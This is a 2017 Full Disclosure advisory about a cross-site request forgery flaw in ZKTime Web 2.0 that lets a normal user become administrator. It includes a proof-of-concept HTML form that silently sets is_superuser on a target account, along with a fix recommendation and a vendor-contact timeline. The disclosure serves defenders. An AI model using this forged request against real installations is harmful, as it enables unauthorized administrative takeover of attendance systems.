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Date: Sun, 17 Sep 2017 21:12:35 +0400
From: Arvind Vishwakarma <arvind12786@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] ZKTime_Web Software 2.0 - Cross Site Request Forgery

*Vulnerability Type*: Cross Site Request Forgery (CSRF)
*Vendor of Product*: ZKTeco
*Affected Product Code Base*: ZKTime Web - 2.0.1.12280
*Affected Component*: ZK Time Web Interface Management.
*Attack Type*: Local - Authenticated
*Impact*: Escalation of Privileges


------------------------------------------


*Product description:*
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which
provided a stable communication for devices through GPRS/WAN, hence, users
can access the software anywhere by their Web Browser to remotely manage
hundreds of T&A terminals under complex network condition (WLAN). The
Application has an administrator role and application user role.

*Attack Scenario:*
The ZKTime Web Software allows the Administrator to elevate the privileges
of the application user by simple click of a radio button namely
"superuser". However when the request is generated there are no random
tokens attached to this request to prevent any kind of Cross Site Request
Forgery attacks. Moreover there no other protections (like administrator
password verification etc.) mechanisms in place to block any kind of forged
requests. An Attacker takes advantage of this scenario and creates a
crafted link to add himself as an administrator to the ZKTime Web Software.
He then uses social engineering methods to trick the administrator into
click the forged http request. The request is executed and the attacker
becomes the Administrator of the
ZKTime Web Software.

*Proof of Concept Code:*
Forged HTTP Request used by the attacker:

<html>
    <body>
    <form action="http://XX.XX.XX.46:8081/data/auth/User/14/" method="POST">
      <input type="hidden" name="pk" value="" />
      <input type="hidden" name="username" value="Pentestuser1" />
      <input type="hidden" name="Password" value="" />
      <input type="hidden" name="ResetPassword" value="" />
      <input type="hidden" name="fpidnum" value="" />
      <input type="hidden" name="fpcount" value="0" />
      <input type="hidden" name="tlng" value="en" />
      <input type="hidden" name="first_name" value="Pentest" />
      <input type="hidden" name="last_name" value="User" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="is_staff" value="on" />
      <input type="hidden" name="is_superuser" value="on" />

      <input type="hidden" name="last_login" value="2017-08-20 14:14:34" />
      <input type="hidden" name="initial-last_login" value="2017-08-20
14:14:34" />
      <input type="hidden" name="date_joined" value="2017-08-20 14:14:34" />
      <input type="hidden" name="initial-date_joined" value="2017-08-20
14:14:34" />
      <input type="hidden" name="finnger" value="" />
      <input type="hidden" name="template" value="" />
      <input type="hidden" name="finnger10" value="" />
      <input type="hidden" name="template10" value="" />
      <input type="hidden" name="delfp" value="" />
      <input type="hidden" name="actflag" value="" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>


*Impact:*
If the vulnerability is successfully exploited than an attacker (who would
be a normal user of the web application) can escalate his privileges and
become the administrator of ZK Time Web Software.

*Recommendation:*
Ensure that all sensitive CRUD Operations are appropriately protected with
random tokens. Alternatively, the sensitive operations could also have an
authentication layer to confirm user verification.

*Credit*: Arvind Vishwakarma

http://ultimateone1.blogspot.ae/



*Vulnerability Timeline:*

18th August 2017 – Vulnerability Discovered
20th August 2017 – Contacted Vendor – No Response
1st September 2017 – Contacted Vendor again – No Response
18th September 2017 – Vulnerability Disclosed


Thanks
Arvind V.

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